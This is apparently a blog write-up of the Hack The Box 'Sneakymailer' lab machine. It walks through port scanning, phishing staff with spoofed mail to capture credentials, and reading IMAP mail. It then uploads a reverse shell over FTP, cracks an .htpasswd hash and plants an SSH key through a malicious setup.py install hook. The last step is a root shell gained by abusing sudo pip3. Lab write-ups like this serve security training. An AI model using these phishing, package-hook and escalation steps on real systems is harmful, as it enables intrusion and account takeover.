Hackthebox Sneakymailer writeup

Hackthebox Sneakymailer writeup

4.4
(7)

Introduction

ColumnDetails
NameSneakymailer
IP10.10.10.197
Points30
OsLinux
DifficultyMedium
CreatorSulcud
Out On11 July 2020

Steps involved

1-Port Scan
2-Basic website enumeration
3-Sending Spoofed mail
4-Login into imap using paulbyrd creds and extracting mails
5-Login into ftp using developer creds
6-Uploading a Reverse shell through ftp
7-Subdomain enumeration
8-Getting shell as www-data and reusing developer password
9-Getting another subdomain
10-Getting .htpasswd and decrypting it
11-Building the package and uploading our own ssh keys
12-Login into low account using ssh keys and getting the user.txt
13-Privilege escalation 
14-Abusing pip3 and getting root.txt

Commands involved

1-nmap -sC -sV -O -v -oN nmap 10.10.10.197
2-while read mail; do swaks --to $mail --from it@sneakymailer.htb --header “Subject: Credentials / Errors” --body “goto http://10.10.14.36:8080/” --server 10.10.10.197; done < emails
3-openssl s_client -crlf -connect 10.10.10.197:993
4-a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
5-a list "" *
6-a select "INBOX.Sent Items"
7-a fetch 1 BODY.PEEK[]
8-wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H “Host:FUZZ.sneakycorp.htb” -fs 185
9-john hash -w=/usr/share/wordlists/rockyou.txt
10-wget -r --no-parent http://10.10.14.36:8080/pypi-pkg
11-python3 setup.py sdist register -r local upload -r local
12-TF=$(mktemp -d)
13-echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
14- sudo pip3 install $TF

Port Scan

┌─[nagendra@parrot]─[~/Desktop/hackthebox/10.10.10.197/sneakymailer]
└──╼ $cat nmap
Nmap 7.80 scan initiated Sat Sep 12 23:25:01 2020 as: nmap -sC -sV -O -v -oN nmap 10.10.10.197
Increasing send delay for 10.10.10.197 from 0 to 5 due to 226 out of 753 dropped probes since last increase.
Nmap scan report for 10.10.10.197
Host is up (0.21s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
| 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp open smtp Postfix smtpd
|smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD POST OPTIONS
|http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: ACL SORT QUOTA IMAP4rev1 NAMESPACE ACL2=UNION THREAD=REFERENCES THREAD=ORDEREDSUBJECT ENABLE completed UTF8=ACCEPTA0001 CHILDREN UIDPLUS CAPABILITY IDLE OK STARTTLS | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: ACL SORT QUOTA IMAP4rev1 AUTH=PLAIN NAMESPACE ACL2=UNION THREAD=REFERENCES THREAD=ORDEREDSUBJECT ENABLE completed UTF8=ACCEPTA0001 CHILDREN UIDPLUS IDLE CAPABILITY OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Public Key type: rsa | Public Key bits: 3072 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-05-14T17:14:21 | Not valid after: 2021-05-14T17:14:21 | MD5: 3faf 4166 f274 83c5 8161 03ed f9c2 0308 |_SHA-1: f79f 040b 2cd7 afe0 31fa 08c3 b30a 5ff5 7b63 566c |_ssl-date: TLS randomness does not represent time 8080/tcp open http nginx 1.14.2 | http-methods: | Supported Methods: GET HEAD
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/12%OT=21%CT=1%CU=32680%PV=Y%DS=2%DC=I%G=Y%TM=5F5D0BD
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=F1%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Uptime guess: 26.933 days (since Mon Aug 17 01:03:37 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=241 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sat Sep 12 23:26:42 2020 -- 1 IP address (1 host up) scanned in 100.94 seconds

Basic Website enumeration

The first step is to always look for the http services .

Hackthebox Sneakymailer writeup

so http://10.10.10.198/ redirects us to http://sneakycorp.htb/

So it is very clear that we have to add it in to our host file.

/etc/hosts

Hackthebox Sneakymailer writeup

Now let’s visit http://sneakycorp.htb/ .

Hackthebox Sneakymailer writeup

There is another page http://sneakycorp.htb/team.php . Which has lots of email moreover the name of the machine is sneaky mailer so let’s copy all the emails.

We can use online tool https://email-checker.net/email-extractor

Hackthebox Sneakymailer writeup

Sending spoofed mails

Now let’s send spoofed mail to every one some one might open it.

Hackthebox Sneakymailer writeup
while read mail; do swaks --to $mail --from it@sneakymailer.htb --header “Subject: Credentials / Errors” --body “goto http://10.10.14.36:8080/” --server 10.10.10.197; done < emails
Hackthebox Sneakymailer writeup

And got a response .

 nc -nlvp 8080
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.10.197.
Ncat: Connection from 10.10.10.197:48426.
POST / HTTP/1.1
Host: 10.10.14.36:8080
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

decoding it.

Hackthebox Sneakymailer writeup

Now we have some valid credentials .

mail: paulbyrd@sneakymailer.htb
user: paulbyrd
password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Login into imap using paulbyrd creds and extracting mails

openssl s_client -crlf -connect 10.10.10.197:993
Hackthebox Sneakymailer writeup

a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Login into imap

a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a OK LOGIN Ok.

a list “” *

listing

a list "" *
LIST (\Unmarked \HasChildren) "." "INBOX"
LIST (\HasNoChildren) "." "INBOX.Trash"
LIST (\HasNoChildren) "." "INBOX.Sent"
LIST (\HasNoChildren) "." "INBOX.Deleted Items"
LIST (\HasNoChildren) "." "INBOX.Sent Items"
a OK LIST completed

Selecting INBOX.Sent Items

a select “INBOX.Sent Items”

a select "INBOX.Sent Items"
FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
OK [PERMANENTFLAGS (* \Draft \Answered \Flagged \Deleted \Seen)] Limited
2 EXISTS
0 RECENT
OK [UIDVALIDITY 589480766] Ok
OK [MYRIGHTS "acdilrsw"] ACL
a OK [READ-WRITE] Ok

Fetching mails

a fetch 1 BODY.PEEK[]

a fetch 2 BODY.PEEK[]

a fetch 1 BODY.PEEK[]
1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root
From: Paul Byrd paulbyrd@sneakymailer.htb
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
boundary="21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD"
--21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
Hello administrator, I want to change this password for the developer accou=
nt
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it=20
--21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"


<!-- /* Font Definitions */ @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {margin:0in; margin-bottom:.0001pt; font-size:11.0pt; font-family:"Calibri",sans-serif;} .MsoChpDefault {mso-style-type:export-only;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in;} div.WordSection1 {page:WordSection1;} -->
Hello administrator, I want to chang= e this password for the developer account
&nbs= p;
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do i= t
=
--21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD--
)
a OK FETCH completed.
a fetch 2 BODY.PEEK[]
2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd paulbyrd@sneakymailer.htb
Subject: Module testing
Message-ID: 4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US
Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
)
a OK FETCH completed.

Body of the mails

Hello administrator, I want to change this password for the developer account
&nbs= p;
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
 
Please notify me when you do it

Hello low
Your current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.

Login into ftp using developer creds

Here we get our second credentials

developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

These creds where working fine for ftp.

Hackthebox Sneakymailer writeup

Uploading reverse shell through ftp

Here is one directory dev . Which has files for the website .

What if we upload a reverse shell in the dev dir and get a reverse shell

Hackthebox Sneakymailer writeup

Now to access the reverse shell we need to invoke it .But through http://sneakycorp.htb/ it is not working .So we need to try some thing else.

Subdomain enumeration

So one way is to guess it that the files are in dev directory .So we can use most common subdomain dev.sneakycorp.htb.

Or we can use WFUZZ

┌─[nagendra@parrot]─[~/Desktop/hackthebox/10.10.10.197/sneakymailer]
└──╼ $wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://sneakycorp.htb/ -H “Host:FUZZ.sneakycorp.htb” -fs 185
Hackthebox Sneakymailer writeup

Remember to add dev.sneakycorp.htb to your host file.

http://dev.sneakycorp.htb/rana.php
Hackthebox Sneakymailer writeup

Getting shell as www-data and reusing developer password

Now we get the shell as www-data

Reusing the developer password.

Hackthebox Sneakymailer writeup

Getting another subdomain

After some enumeration we get another subdomain.

developer@sneakymailer:/var/www$ ls
ls
dev.sneakycorp.htb
html
pypi.sneakycorp.htb
sneakycorp.htb
developer@sneakymailer:/var/www$

Adding

pypi.sneakycorp.htb to /etc/hosts
visit http://pypi.sneakycorp.htb:8080/

Getting .htpasswd and decrypting it

While enumerating we got .htpasswd

developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$

Decrypting the hash using john

  john hash -w=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" 
Use the "--format=md5crypt-long" option to force loading these as that type instead 
Using default input encoding: UTF-8 
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) 
Will run 5 OpenMP threads 
Press 'q' or Ctrl-C to abort, almost any other key for status soufianeelhaoui (pypi) 
1g 0:00:00:12 DONE (2020-07-16 00:43) 0.07757g/s 277312p/s 277312c/s 277312C/s souheib2..sottod 
Use the "--show" option to display all of the cracked passwords reliably Session completed

We get

soufianeelhaoui

Remember the mail

Hello low 
Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.

So let’s build a package and install it.

Building the package and uploading own ssh keys

Now i just need to build a python package so that the user low can install it simply

make two files

  • .pypirc
  • setup.py

The file .pypirc which will authorize me and the setup.py which will be the package file that contains all the stuff we want to do

[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

setup.py

import setuptools

try:
       with open("/home/low/.ssh/authorized_keys", "a") as f:
                f.write("\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkd6Sz2fhwDhJT5QkH9y9FMu4rlcgwJzvbgkvoJmDo5gp/tlpL7MPpaOYGiiK1KK8Q4eN>
                f.close()
except Exception as e:
       pass
setuptools.setup(
        name='sample',
        version='1.2.0',
        description='A sample Python project',
        long_description="long_description",
        long_description_content_type='text/x-rst',
        url='https://github.com/pypa/sampleproject',
        author='A. Random Developer',
        author_email='author@example.com',
        license='MIT',
        packages=setuptools.find_packages(),
        install_requires=['peppercorn'],
)

With this we will add our own ssh keys.

developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.14.36:8080/pypi-pkg
<get -r --no-parent http://10.10.14.36:8080/pypi-pkg
--2020-10-03 00:31:58-- http://10.10.14.36:8080/pypi-pkg
Connecting to 10.10.14.36:8080… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: /pypi-pkg/ [following]
--2020-10-03 00:31:59-- http://10.10.14.36:8080/pypi-pkg/
Connecting to 10.10.14.36:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 395 [text/html]
Saving to: ‘10.10.14.36:8080/pypi-pkg’
0K 100% 78.2M=0s
2020-10-03 00:32:00 (78.2 MB/s) - ‘10.10.14.36:8080/pypi-pkg’ saved [395/395]
Loading robots.txt; please ignore errors.
--2020-10-03 00:32:00-- http://10.10.14.36:8080/robots.txt
Connecting to 10.10.14.36:8080… connected.
HTTP request sent, awaiting response… 404 File not found
2020-10-03 00:32:01 ERROR 404: File not found.
--2020-10-03 00:32:01-- http://10.10.14.36:8080/pypi-pkg/.pypirc
Connecting to 10.10.14.36:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 128 [application/octet-stream]
Saving to: ‘10.10.14.36:8080/pypi-pkg/.pypirc’
0K 100% 7.80M=0s
2020-10-03 00:32:01 (7.80 MB/s) - ‘10.10.14.36:8080/pypi-pkg/.pypirc’ saved [128/128]
--2020-10-03 00:32:01-- http://10.10.14.36:8080/pypi-pkg/setup.py
Connecting to 10.10.14.36:8080… connected.
HTTP request sent, awaiting response… 200 OK
Length: 1200 (1.2K) [text/plain]
Saving to: ‘10.10.14.36:8080/pypi-pkg/setup.py’
0K . 100% 203M=0s
2020-10-03 00:32:02 (203 MB/s) - ‘10.10.14.36:8080/pypi-pkg/setup.py’ saved [1200/1200]
FINISHED --2020-10-03 00:32:02--
Total wall clock time: 4.0s
Downloaded: 3 files, 1.7K in 0s (62.9 MB/s)

Now running the setup.py

developer@sneakymailer:~/pypi-pkg$ HOME=pwd
HOME=pwd
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local
<n3 setup.py sdist register -r local upload -r local
running sdist
running egg_info
creating sample.egg-info
writing sample.egg-info/PKG-INFO
writing dependency_links to sample.egg-info/dependency_links.txt
writing requirements to sample.egg-info/requires.txt
writing top-level names to sample.egg-info/top_level.txt
writing manifest file 'sample.egg-info/SOURCES.txt'
reading manifest file 'sample.egg-info/SOURCES.txt'
writing manifest file 'sample.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md
running check
creating sample-1.2.0
creating sample-1.2.0/sample.egg-info
copying files to sample-1.2.0…
copying setup.py -> sample-1.2.0
copying sample.egg-info/PKG-INFO -> sample-1.2.0/sample.egg-info
copying sample.egg-info/SOURCES.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/dependency_links.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/requires.txt -> sample-1.2.0/sample.egg-info
copying sample.egg-info/top_level.txt -> sample-1.2.0/sample.egg-info
Writing sample-1.2.0/setup.cfg
creating dist
Creating tar archive
removing 'sample-1.2.0' (and everything under it)
running register
Registering sample to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/)
running upload
Submitting dist/sample-1.2.0.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK
WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/)

Login into low account using ssh keys and getting the user.txt

And now w can login with our own ssh keys.

And also we got the user.txt

Hackthebox Sneakymailer writeup

Privilege escalation

Now checking the sudo commands .

low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3

Abusing pip3 and getting root.txt

So we can run /usr/bin/pip3 as root

Now let’s google it about it.

And got gtfobins pip abusing

Simply using it for pip3 got me the root shell

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
Hackthebox Sneakymailer writeup

And now we are root.And we also have the root flag.

Thanks for reading. Have a nice day

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